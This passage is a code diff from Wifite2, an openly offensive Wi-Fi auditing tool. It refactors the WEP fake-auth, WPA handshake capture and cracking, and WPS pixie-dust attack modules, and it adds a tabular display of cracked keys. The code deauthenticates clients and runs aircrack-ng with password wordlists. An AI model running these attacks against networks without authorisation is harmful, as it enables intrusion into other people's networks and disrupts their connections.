Returns: True if successful, False is unsuccessful.
'''
Color.p('\r{+} attempting {G}fake-authentication{W} with {C}%s{W}...' % self.target.bssid)
fakeauth = Aireplay.fakeauth(self.target, timeout=AttackWEP.fakeauth_wait)
@@ -363,11 +354,10 @@ class AttackWEP(Attack):
return fakeauth
if __name__ == '__main__':
Configuration.initialize(True)
from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields)
wep = AttackWEP(target)
wep.run()

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*-
from ..model.attack import Attack
from ..tools.aircrack import Aircrack
from ..tools.airodump import Airodump
from ..tools.aireplay import Aireplay
from ..config import Configuration
@@ -24,13 +25,14 @@ class AttackWPA(Attack):
self.success = False
def run(self):
'''
Initiates full WPA handshake capture attack.
'''
'''Initiates full WPA handshake capture attack.'''
# Check if user only wants to run PixieDust attack
if Configuration.use_pmkid_only:
self.success = False
return False
# Skip if user only wants to run PixieDust attack
if Configuration.wps_only and self.target.wps:
Color.pl('\r{!} {O}--wps-only{R} set, ignoring WPA-handshake attack on {O}%s{W}' % self.target.essid)
Color.pl('\r{!} {O}Skipping WPA-Handshake attack on {R}%s{O} because {R}--wps-only{O} is set{W}' % self.target.essid)
self.success = False
return self.success
@@ -46,18 +48,37 @@ class AttackWPA(Attack):
Color.pl('\n{+} analysis of captured handshake file:')
handshake.analyze()
# Check wordlist
if Configuration.wordlist is None:
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist ({R}--dict{O}) is not set')
self.success = False
return False
elif not os.path.exists(Configuration.wordlist):
Color.pl('{!} {O}Not cracking handshake because' +
' wordlist {R}%s{O} was not found' % Configuration.wordlist)
self.success = False
return False
Color.pl('\n{+} {C}Cracking WPA Handshake:{W} Running {C}aircrack-ng{W} with' +
' {C}%s{W} wordlist' % os.path.split(Configuration.wordlist)[-1])
# Crack it
key = self.crack_handshake(handshake, Configuration.wordlist)
key = Aircrack.crack_handshake(handshake, show_command=False)
if key is None:
Color.pl('{!} {R}Failed to crack handshake: {O}%s{R} did not contain password{W}' % Configuration.wordlist.split(os.sep)[-1])
self.success = False
else:
Color.pl('{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n' % key)
self.crack_result = CrackResultWPA(handshake.bssid, handshake.essid, handshake.capfile, key)
self.crack_result.dump()
self.success = True
return self.success
def capture_handshake(self):
''' Returns captured or stored handshake, otherwise None '''
'''Returns captured or stored handshake, otherwise None.'''
handshake = None
# First, start Airodump process
@@ -67,7 +88,7 @@ class AttackWPA(Attack):
output_file_prefix='wpa') as airodump:
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
Color.pattack('WPA', self.target, 'Handshake capture', 'Waiting for target to appear...')
airodump_target = self.wait_for_target(airodump)
self.clients = []
@@ -78,7 +99,7 @@ class AttackWPA(Attack):
essid = airodump_target.essid if airodump_target.essid_known else None
handshake = self.load_handshake(bssid=bssid, essid=essid)
if handshake:
Color.pattack("WPA", self.target, "Handshake capture", "found {G}existing handshake{W} for {C}%s{W}" % handshake.essid)
Color.pattack('WPA', self.target, 'Handshake capture', 'found {G}existing handshake{W} for {C}%s{W}' % handshake.essid)
Color.pl('\n{+} Using handshake from {C}%s{W}' % handshake.capfile)
return handshake
@@ -88,10 +109,10 @@ class AttackWPA(Attack):
while handshake is None and not timeout_timer.ended():
step_timer = Timer(1)
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
airodump_target,
"Handshake capture",
"Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})" % (len(self.clients), deauth_timer, timeout_timer))
'Handshake capture',
'Listening. (clients:{G}%d{W}, deauth:{O}%s{W}, timeout:{R}%s{W})' % (len(self.clients), deauth_timer, timeout_timer))
# Find .cap file
cap_files = airodump.find_files(endswith='.cap')
@@ -111,7 +132,12 @@ class AttackWPA(Attack):
handshake = Handshake(temp_file, bssid=bssid, essid=essid)
if handshake.has_handshake():
# We got a handshake
Color.pl('\n\n{+} {G}successfully captured handshake{W}')
Color.clear_entire_line()
Color.pattack('WPA',
airodump_target,
'Handshake capture',
'{G}Captured handshake{W}')
Color.pl('')
break
# There is no handshake
@@ -124,11 +150,11 @@ class AttackWPA(Attack):
for client in airodump_target.clients:
if client.station not in self.clients:
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
airodump_target,
"Handshake capture",
"Discovered new client: {G}%s{W}" % client.station)
Color.pl("")
'Handshake capture',
'Discovered new client: {G}%s{W}' % client.station)
Color.pl('')
self.clients.append(client.station)
# Send deauth to a client or broadcast
@@ -143,83 +169,13 @@ class AttackWPA(Attack):
if handshake is None:
# No handshake, attack failed.
Color.pl("\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds" % (Configuration.wpa_attack_timeout))
Color.pl('\n{!} {O}WPA handshake capture {R}FAILED:{O} Timed out after %d seconds' % (Configuration.wpa_attack_timeout))
return handshake
else:
# Save copy of handshake to ./hs/
self.save_handshake(handshake)
return handshake
def crack_handshake(self, handshake, wordlist):
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
if wordlist is None:
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist ({R}--dict{O}) is not set")
return None
elif not os.path.exists(wordlist):
Color.pl("{!} {O}Not cracking handshake because" +
" wordlist {R}%s{O} was not found" % wordlist)
return None
Color.pl("\n{+} {C}Cracking WPA Handshake:{W} Using {C}aircrack-ng{W} via" +
" {C}%s{W} wordlist" % os.path.split(wordlist)[-1])
key_file = Configuration.temp('wpakey.txt')
command = [
"aircrack-ng",
"-a", "2",
"-w", wordlist,
"--bssid", handshake.bssid,
"-l", key_file,
handshake.capfile
]
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r"(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s")
aircrack_key_re = re.compile(r"Current passphrase:\s*([^\s].*[^\s])\s*$")
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = "unknown"
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = "\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}" % percent
status += " ETA: {C}%s{W}" % eta_str
status += " @ {C}%0.1fkps{W}" % num_kps
#status += " ({C}%d{W}/{C}%d{W} keys)" % (num_tried, num_total)
status += " (current key: {C}%s{W})" % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl("")
# Check crack result
if os.path.exists(key_file):
with open(key_file, "r") as fid:
key = fid.read().strip()
os.remove(key_file)
Color.pl("{+} {G}Cracked WPA Handshake{W} PSK: {G}%s{W}\n" % key)
return key
else:
Color.pl("{!} {R}Failed to crack handshake:" +
" {O}%s{R} did not contain password{W}" % wordlist.split(os.sep)[-1])
return None
def load_handshake(self, bssid, essid):
if not os.path.exists(Configuration.wpa_handshake_dir):
return None
@@ -260,7 +216,7 @@ class AttackWPA(Attack):
cap_filename = os.path.join(Configuration.wpa_handshake_dir, cap_filename)
if Configuration.wpa_strip_handshake:
Color.p("{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}..." % cap_filename)
Color.p('{+} {C}stripping{W} non-handshake packets, saving to {G}%s{W}...' % cap_filename)
handshake.strip(outfile=cap_filename)
Color.pl('{G}saved{W}')
else:
@@ -282,25 +238,25 @@ class AttackWPA(Attack):
for index, client in enumerate([None] + self.clients):
if client is None:
target_name = "*broadcast*"
target_name = '*broadcast*'
else:
target_name = client
Color.clear_entire_line()
Color.pattack("WPA",
Color.pattack('WPA',
target,
"Handshake capture",
"Deauthing {O}%s{W}" % target_name)
'Handshake capture',
'Deauthing {O}%s{W}' % target_name)
Aireplay.deauth(target.bssid, client_mac=client, timeout=2)
if __name__ == '__main__':
Configuration.initialize(True)
from ..model.target import Target
fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 11, 54e,WPA, WPA, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
target = Target(fields)
wpa = AttackWPA(target)
try:
wpa.run()
except KeyboardInterrupt:
Color.pl("")
Color.pl('')
pass
Configuration.exit_gracefully(0)

View File

@@ -4,8 +4,6 @@
from ..model.attack import Attack
from ..util.color import Color
from ..config import Configuration
from ..tools.bully import Bully
from ..tools.reaver import Reaver
class AttackWPS(Attack):
def __init__(self, target):
@@ -17,31 +15,45 @@ class AttackWPS(Attack):
''' Run all WPS-related attacks '''
# Drop out if user specified to not use Reaver/Bully
if Configuration.use_pmkid_only:
self.success = False
return False
if Configuration.no_wps:
Color.pl('\r{!} {O}--no-wps{R} set, ignoring WPS attack on {O}%s{W}' % self.target.essid)
self.success = False
return self.success
return False
###################
# Pixie-Dust attack
if Configuration.use_bully:
return self.run_bully()
else:
return self.run_reaver()
return False
def run_bully(self):
# Bully: Pixie-dust
from ..tools.bully import Bully
bully = Bully(self.target)
bully.run()
bully.stop()
self.crack_result = bully.crack_result
self.success = self.crack_result is not None
return self.success
else:
def run_reaver(self):
from ..tools.reaver import Reaver
reaver = Reaver(self.target)
if reaver.is_pixiedust_supported():
if not reaver.is_pixiedust_supported():
Color.pl('{!} {R}your version of "reaver" does not support the {O}WPS pixie-dust attack{W}')
return False
else:
# Reaver: Pixie-dust
reaver = Reaver(self.target)
reaver.run()
self.crack_result = reaver.crack_result
self.success = self.crack_result is not None
return self.success
else:
Color.pl("{!} {R}your version of 'reaver' does not support the {O}WPS pixie-dust attack{W}")
return False

View File

@@ -8,7 +8,7 @@ from .tools.macchanger import Macchanger
class Configuration(object):
''' Stores configuration variables and functions for Wifite. '''
version = '2.1.8'
version = '2.2.2'
initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory
@@ -66,7 +66,7 @@ class Configuration(object):
cls.require_fakeauth = False
cls.wep_restart_stale_ivs = 11 # Seconds to wait before restarting
# Aireplay if IVs don't increaes.
# "0" means never restart.
# '0' means never restart.
cls.wep_restart_aircrack = 30 # Seconds to give aircrack to crack
# before restarting the process.
cls.wep_crack_at_ivs = 10000 # Number of IVS to start cracking
@@ -76,14 +76,18 @@ class Configuration(object):
cls.wpa_filter = False # Only attack WPA networks
cls.wpa_deauth_timeout = 15 # Wait time between deauths
cls.wpa_attack_timeout = 500 # Wait time before failing
cls.wpa_handshake_dir = "hs" # Dir to store handshakes
cls.wpa_handshake_dir = 'hs' # Dir to store handshakes
cls.wpa_strip_handshake = False # Strip non-handshake packets
cls.ignore_old_handshakes = False # Always fetch a new handshake
cls.use_pmkid_only = False # Only use PMKID Capture+Crack attack
# Default dictionary for cracking
cls.wordlist = None
wordlists = [
'./wordlist-top4800-probable.txt',
'./wordlist-top4800-probable.txt', # Local file (ran from cloned repo)
'/usr/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr
'/usr/local/share/dict/wordlist-top4800-probable.txt', # setup.py with prefix=/usr/local
# Other passwords found on Kali
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt'
@@ -177,9 +181,11 @@ class Configuration(object):
Color.pl('{+} {C}option:{W} kill conflicting processes {G}enabled{W}')
# EvilTwin
'''
if args.use_eviltwin:
cls.use_eviltwin = True
Color.pl('{+} {C}option:{W} using {G}eviltwin attacks{W} against all targets')
'''
# WEP
if args.wep_filter:
@@ -224,13 +230,16 @@ class Configuration(object):
Color.pl('{+} {C}option:{W} will stop WPA handshake capture after {G}%d seconds{W}' % args.wpa_attack_timeout)
if args.ignore_old_handshakes:
cls.ignore_old_handshakes = True
Color.pl("{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)")
Color.pl('{+} {C}option:{W} will {O}ignore{W} existing handshakes (force capture)')
if args.use_pmkid_only:
cls.use_pmkid_only = True
Color.pl('{+} {C}option:{W} will ONLY use {C}PMKID{W} attack on WPA networks')
if args.wpa_handshake_dir:
cls.wpa_handshake_dir = args.wpa_handshake_dir
Color.pl('{+} {C}option:{W} will store handshakes to {G}%s{W}' % args.wpa_handshake_dir)
if args.wpa_strip_handshake:
cls.wpa_strip_handshake = True
Color.pl("{+} {C}option:{W} will {G}strip{W} non-handshake packets")
Color.pl('{+} {C}option:{W} will {G}strip{W} non-handshake packets')
# WPS
if args.wps_filter:
@@ -364,7 +373,7 @@ class Configuration(object):
for (key,val) in sorted(cls.__dict__.items()):
if key.startswith('__') or type(val) == staticmethod or val is None:
continue
result += Color.s("{G}%s {W} {C}%s{W}\n" % (key.ljust(max_len),val))
result += Color.s('{G}%s {W} {C}%s{W}\n' % (key.ljust(max_len),val))
return result
if __name__ == '__main__':

View File

@@ -12,7 +12,7 @@ class Attack(object):
self.target = target
def run(self):
raise Exception("Unimplemented method: run")
raise Exception('Unimplemented method: run')
def wait_for_target(self, airodump):
'''Waits for target to appear in airodump.'''

View File

@@ -3,7 +3,7 @@
class Client(object):
'''
Holds details for a "Client" - a wireless device (e.g. computer)
Holds details for a 'Client' - a wireless device (e.g. computer)
that is associated with an Access Point (e.g. router)
'''

View File

@@ -9,19 +9,23 @@ from ..tools.pyrit import Pyrit
import re, os
class Handshake(object):
def __init__(self, capfile, bssid=None, essid=None):
self.capfile = capfile
self.bssid = bssid
self.essid = essid
def divine_bssid_and_essid(self):
'''
Tries to find BSSID and ESSID from cap file.
Sets this instances 'bssid' and 'essid' instance fields.
'''
# We can get BSSID from the .cap filename if Wifite captured it.
# ESSID is stripped of non-printable characters, so we can't rely on that.
if self.bssid is None:
hs_regex = re.compile(r"^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$", re.IGNORECASE)
hs_regex = re.compile(r'^.*handshake_\w+_([0-9A-F\-]{17})_.*\.cap$', re.IGNORECASE)
match = hs_regex.match(self.capfile)
if match:
self.bssid = match.group(1).replace('-', ':')
@@ -33,7 +37,8 @@ class Handshake(object):
pairs = self.pyrit_handshakes() # Find bssid/essid pairs that have handshakes in Pyrit
if len(pairs) == 0 and not self.bssid and not self.essid:
raise Exception("Cannot find BSSID or ESSID in cap file") # Tshark and Pyrit failed us, nothing else we can do.
# Tshark and Pyrit failed us, nothing else we can do.
raise ValueError('Cannot find BSSID or ESSID in cap file %s' % self.capfile)
if not self.essid and not self.bssid:
# We do not know the bssid nor the essid
@@ -60,6 +65,7 @@ class Handshake(object):
self.essid = essid
break
def has_handshake(self):
if not self.bssid or not self.essid:
self.divine_bssid_and_essid()
@@ -75,27 +81,26 @@ class Handshake(object):
def tshark_handshakes(self):
''' Returns True if tshark identifies a handshake, False otherwise '''
'''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).'''
tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid)
return [(bssid, None) for bssid in tshark_bssids]
def cowpatty_command(self):
return [
def cowpatty_handshakes(self):
'''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).'''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
command = [
'cowpatty',
'-r', self.capfile,
'-s', self.essid,
'-c' # Check for handshake
]
def cowpatty_handshakes(self):
''' Returns True if cowpatty identifies a handshake, False otherwise '''
if not Process.exists('cowpatty'):
return []
if not self.essid:
return [] # We need a essid for cowpatty :(
proc = Process(self.cowpatty_command(), devnull=False)
proc = Process(command, devnull=False)
for line in proc.stdout().split('\n'):
if 'Collected all necessary data to mount crack against WPA' in line:
return [(None, self.essid)]
@@ -103,8 +108,9 @@ class Handshake(object):
def pyrit_handshakes(self):
''' Returns list of BSSID,ESSID tuples if pyrit identifies a handshake'''
return Pyrit.bssid_essid_with_handshakes(self.capfile, bssid=self.bssid, essid=self.essid)
'''Returns list[tuple] of BSSID & ESSID pairs.'''
return Pyrit.bssid_essid_with_handshakes(
self.capfile, bssid=self.bssid, essid=self.essid)
def aircrack_handshakes(self):
@@ -125,9 +131,15 @@ class Handshake(object):
'''Prints analysis of handshake capfile'''
self.divine_bssid_and_essid()
if Tshark.exists():
Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark')
if Pyrit.exists():
Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit')
if Process.exists('cowpatty'):
Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty')
Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack')
@@ -171,7 +183,7 @@ class Handshake(object):
tool_str = '{C}%s{W}: ' % tool.rjust(8)
if len(pairs) == 0:
Color.pl("{!} %s.cap file {R}does not{O} contain a valid handshake{W}" % (tool_str))
Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str))
return
for (bssid, essid) in pairs:
@@ -208,24 +220,27 @@ class Handshake(object):
hs.analyze()
Color.pl('')
if __name__ == '__main__':
print('With BSSID & ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi')
hs.analyze()
print("has_hanshake() =", hs.has_handshake())
print('has_hanshake() =', hs.has_handshake())
print('\nWith BSSID, but no ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18')
hs.analyze()
print("has_hanshake() =", hs.has_handshake())
print('has_hanshake() =', hs.has_handshake())
print('\nWith ESSID, but no BSSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi')
hs.analyze()
print("has_hanshake() =", hs.has_handshake())
print('has_hanshake() =', hs.has_handshake())
print('\nWith neither BSSID nor ESSID specified:')
hs = Handshake('./tests/files/handshake_has_1234.cap')
try:
hs.analyze()
print("has_hanshake() =", hs.has_handshake())
print('has_hanshake() =', hs.has_handshake())
except Exception as e:
Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e)

View File

@@ -30,6 +30,13 @@ class CrackResultPMKID(CrackResult):
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'PMKID'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

View File

@@ -11,33 +11,59 @@ class CrackResult(object):
''' Abstract class containing results from a crack session '''
# File to save cracks to, in PWD
cracked_file = "cracked.txt"
cracked_file = 'cracked.txt'
def __init__(self):
self.date = int(time.time())
self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date))
def dump(self):
raise Exception("Unimplemented method: dump()")
raise Exception('Unimplemented method: dump()')
def to_dict(self):
raise Exception("Unimplemented method: to_dict()")
raise Exception('Unimplemented method: to_dict()')
def print_single_line(self, longest_essid):
raise Exception('Unimplemented method: print_single_line()')
def print_single_line_prefix(self, longest_essid):
essid = self.essid if self.essid else 'N/A'
Color.p('{W} ')
Color.p('{C}%s{W}' % essid.ljust(longest_essid))
Color.p(' ')
Color.p('{GR}%s{W}' % self.bssid.ljust(17))
Color.p(' ')
Color.p('{D}%s{W}' % self.readable_date.ljust(19))
Color.p(' ')
def save(self):
''' Adds this crack result to the cracked file and saves it. '''
name = CrackResult.cracked_file
json = []
saved_results = []
if os.path.exists(name):
with open(name, 'r') as fid:
text = fid.read()
try:
json = loads(text)
saved_results = loads(text)
except Exception as e:
Color.pl('{!} error while loading %s: %s' % (name, str(e)))
json.append(self.to_dict())
# Check for duplicates
this_dict = self.to_dict()
this_dict.pop('date')
for entry in saved_results:
this_dict['date'] = entry.get('date')
if entry == this_dict:
# Skip if we already saved this BSSID+ESSID+TYPE+KEY
Color.pl('{+} {C}%s{O} already exists in {G}cracked.txt{O}, skipping.' % (
self.essid))
return
saved_results.append(self.to_dict())
with open(name, 'w') as fid:
fid.write(dumps(json, indent=2))
fid.write(dumps(saved_results, indent=2))
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json)))
% (name, len(saved_results)))
@classmethod
def display(cls):
@@ -52,18 +78,38 @@ class CrackResult(object):
if len(cracked_targets) == 0:
Color.pl('{!} {R}no results found in {O}%s{W}' % name)
else:
Color.pl('{+} displaying {G}%d {C}cracked target(s){W}\n' % len(cracked_targets))
for item in cracked_targets:
cr = cls.load(item)
cr.dump()
return
Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % (
len(cracked_targets), name))
results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True)
longest_essid = max([len(result.essid or 'ESSID') for result in results])
# Header
Color.p('{D} ')
Color.p('ESSID'.ljust(longest_essid))
Color.p(' ')
Color.p('BSSID'.ljust(17))
Color.p(' ')
Color.p('DATE'.ljust(19))
Color.p(' ')
Color.p('TYPE'.ljust(5))
Color.p(' ')
Color.p('KEY')
Color.pl('{D}')
Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12))
Color.pl('{W}')
# Results
for result in results:
result.print_single_line(longest_essid)
Color.pl('')
@classmethod
def load_all(cls):
if not os.path.exists(cls.cracked_file): return []
with open(cls.cracked_file, "r") as json_file:
with open(cls.cracked_file, 'r') as json_file:
json = loads(json_file.read())
return json
@@ -97,6 +143,7 @@ class CrackResult(object):
json['pmkid_file'],
json['key'])
result.date = json['date']
result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date))
return result
if __name__ == '__main__':

View File

@@ -7,7 +7,7 @@ import re
class Target(object):
'''
Holds details for a "Target" aka Access Point (e.g. router).
Holds details for a 'Target' aka Access Point (e.g. router).
'''
def __init__(self, fields):
@@ -56,7 +56,7 @@ class Target(object):
if self.essid == '\\x00' * self.essid_len or \
self.essid == 'x00' * self.essid_len or \
self.essid.strip() == '':
# Don't display "\x00..." for hidden ESSIDs
# Don't display '\x00...' for hidden ESSIDs
self.essid = None # '(%s)' % self.bssid
self.essid_known = False
@@ -70,26 +70,26 @@ class Target(object):
def validate(self):
''' Checks that the target is valid. '''
if self.channel == "-1":
raise Exception("Ignoring target with Negative-One (-1) channel")
if self.channel == '-1':
raise Exception('Ignoring target with Negative-One (-1) channel')
# Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32
bssid_broadcast = re.compile(r"^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$", re.IGNORECASE)
bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE)
if bssid_broadcast.match(self.bssid):
raise Exception("Ignoring target with Broadcast BSSID (%s)" % self.bssid)
raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid)
bssid_multicast = re.compile(r"^(01:00:5e|01:80:c2|33:33)", re.IGNORECASE)
bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE)
if bssid_multicast.match(self.bssid):
raise Exception("Ignoring target with Multicast BSSID (%s)" % self.bssid)
raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid)
def to_str(self, show_bssid=False):
'''
*Colored* string representation of this Target.
Specifically formatted for the "scanning" table view.
Specifically formatted for the 'scanning' table view.
'''
max_essid_len = 24
essid = self.essid if self.essid_known else "(%s)" % self.bssid
essid = self.essid if self.essid_known else '(%s)' % self.bssid
# Trim ESSID (router name) if needed
if len(essid) > max_essid_len:
essid = essid[0:max_essid_len-3] + '...'
@@ -98,30 +98,30 @@ class Target(object):
if self.essid_known:
# Known ESSID
essid = Color.s("{C}%s" % essid)
essid = Color.s('{C}%s' % essid)
else:
# Unknown ESSID
essid = Color.s("{O}%s" % essid)
essid = Color.s('{O}%s' % essid)
# Add a "*" if we decloaked the ESSID
# Add a '*' if we decloaked the ESSID
decloaked_char = '*' if self.decloaked else ' '
essid += Color.s("{P}%s" % decloaked_char)
essid += Color.s('{P}%s' % decloaked_char)
if show_bssid:
bssid = Color.s('{O}%s ' % self.bssid)
else:
bssid = ''
channel_color = "{G}"
channel_color = '{G}'
if int(self.channel) > 14:
channel_color = "{C}"
channel = Color.s("%s%s" % (channel_color, str(self.channel).rjust(3)))
channel_color = '{C}'
channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3)))
encryption = self.encryption.rjust(4)
if 'WEP' in encryption:
encryption = Color.s("{G}%s" % encryption)
encryption = Color.s('{G}%s' % encryption)
elif 'WPA' in encryption:
encryption = Color.s("{O}%s" % encryption)
encryption = Color.s('{O}%s' % encryption)
power = '%sdb' % str(self.power).rjust(3)
if self.power > 50:
@@ -146,14 +146,14 @@ class Target(object):
result = '%s %s%s %s %s %s %s' % (
essid, bssid, channel, encryption, power, wps, clients)
result += Color.s("{W}")
result += Color.s('{W}')
return result
if __name__ == '__main__':
fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',')
t = Target(fields)
t.clients.append("asdf")
t.clients.append("asdf")
t.clients.append('asdf')
t.clients.append('asdf')
print(t.to_str())

View File

@@ -24,6 +24,15 @@ class CrackResultWEP(CrackResult):
if self.ascii_key:
Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key)
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WEP'.ljust(5))
Color.p(' ')
Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', ''))
if self.ascii_key:
Color.p(' (ASCII: {G}%s{W})' % self.ascii_key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

View File

@@ -30,6 +30,13 @@ class CrackResultWPA(CrackResult):
else:
Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPA'.ljust(5))
Color.p(' ')
Color.p('Key: {G}%s{W}' % self.key)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

View File

@@ -27,6 +27,15 @@ class CrackResultWPS(CrackResult):
Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin))
Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk))
def print_single_line(self, longest_essid):
self.print_single_line_prefix(longest_essid)
Color.p('{G}%s{W}' % 'WPS'.ljust(5))
Color.p(' ')
if self.psk:
Color.p('Key: {G}%s{W} ' % self.psk)
Color.p('PIN: {G}%s{W}' % self.pin)
Color.pl('')
def to_dict(self):
return {
'type' : self.result_type,

View File

@@ -7,6 +7,7 @@ from ..util.input import xrange
from ..config import Configuration
import os
import re
class Aircrack(Dependency):
dependency_required = True
@@ -77,6 +78,70 @@ class Aircrack(Dependency):
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
@staticmethod
def crack_handshake(handshake, show_command=False):
from ..util.color import Color
from ..util.timer import Timer
'''Tries to crack a handshake. Returns WPA key if found, otherwise None.'''
key_file = Configuration.temp('wpakey.txt')
command = [
'aircrack-ng',
'-a', '2',
'-w', Configuration.wordlist,
'--bssid', handshake.bssid,
'-l', key_file,
handshake.capfile
]
if show_command:
Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command))
crack_proc = Process(command)
# Report progress of cracking
aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s')
aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$')
num_tried = num_total = 0
percent = num_kps = 0.0
eta_str = 'unknown'
current_key = ''
while crack_proc.poll() is None:
line = crack_proc.pid.stdout.readline()
match_nums = aircrack_nums_re.search(line.decode('utf-8'))
match_keys = aircrack_key_re.search(line.decode('utf-8'))
if match_nums:
num_tried = int(match_nums.group(1))
num_total = int(match_nums.group(2))
num_kps = float(match_nums.group(3))
eta_seconds = (num_total - num_tried) / num_kps
eta_str = Timer.secs_to_str(eta_seconds)
percent = 100.0 * float(num_tried) / float(num_total)
elif match_keys:
current_key = match_keys.group(1)
else:
continue
status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent
status += ' ETA: {C}%s{W}' % eta_str
status += ' @ {C}%0.1fkps{W}' % num_kps
#status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total)
status += ' (current key: {C}%s{W})' % current_key
Color.clear_entire_line()
Color.p(status)
Color.pl('')
# Check crack result
if os.path.exists(key_file):
with open(key_file, 'r') as fid:
key = fid.read().strip()
os.remove(key_file)
return key
else:
return None
if __name__ == '__main__':
(hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1')
assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey
